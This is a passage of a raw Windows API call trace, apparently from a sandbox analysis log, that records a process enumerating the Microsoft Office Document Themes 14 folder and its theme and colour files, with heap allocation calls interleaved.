ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0275.650] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0275.650] GetProcessHeap () returned 0x560000 [0275.650] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0275.651] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0275.651] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0275.651] GetProcessHeap () returned 0x560000 [0275.651] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5cad68 | out: hHeap=0x560000) returned 1 [0275.654] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0275.654] GetProcessHeap () returned 0x560000 [0275.654] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0275.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0275.681] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.713] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0275.713] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0275.713] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0275.713] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1 [0275.713] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0275.714] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0275.714] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0275.714] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1 [0275.714] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0275.714] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0275.715] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0275.716] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0275.716] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0275.716] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0275.716] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0275.716] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0275.717] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0275.717] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0275.717] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0275.717] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0275.717] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0275.718] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0275.718] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0275.718] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0275.718] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0275.718] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0275.718] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0275.719] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0275.719] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0275.719] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0275.719] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0275.719] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1 [0275.720] GetProcessHeap () returned 0x560000 [0275.720] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0275.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0283.077] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.674] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0283.674] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0283.674] FindNextFileW (in: hFindFile=0x65bdc8, 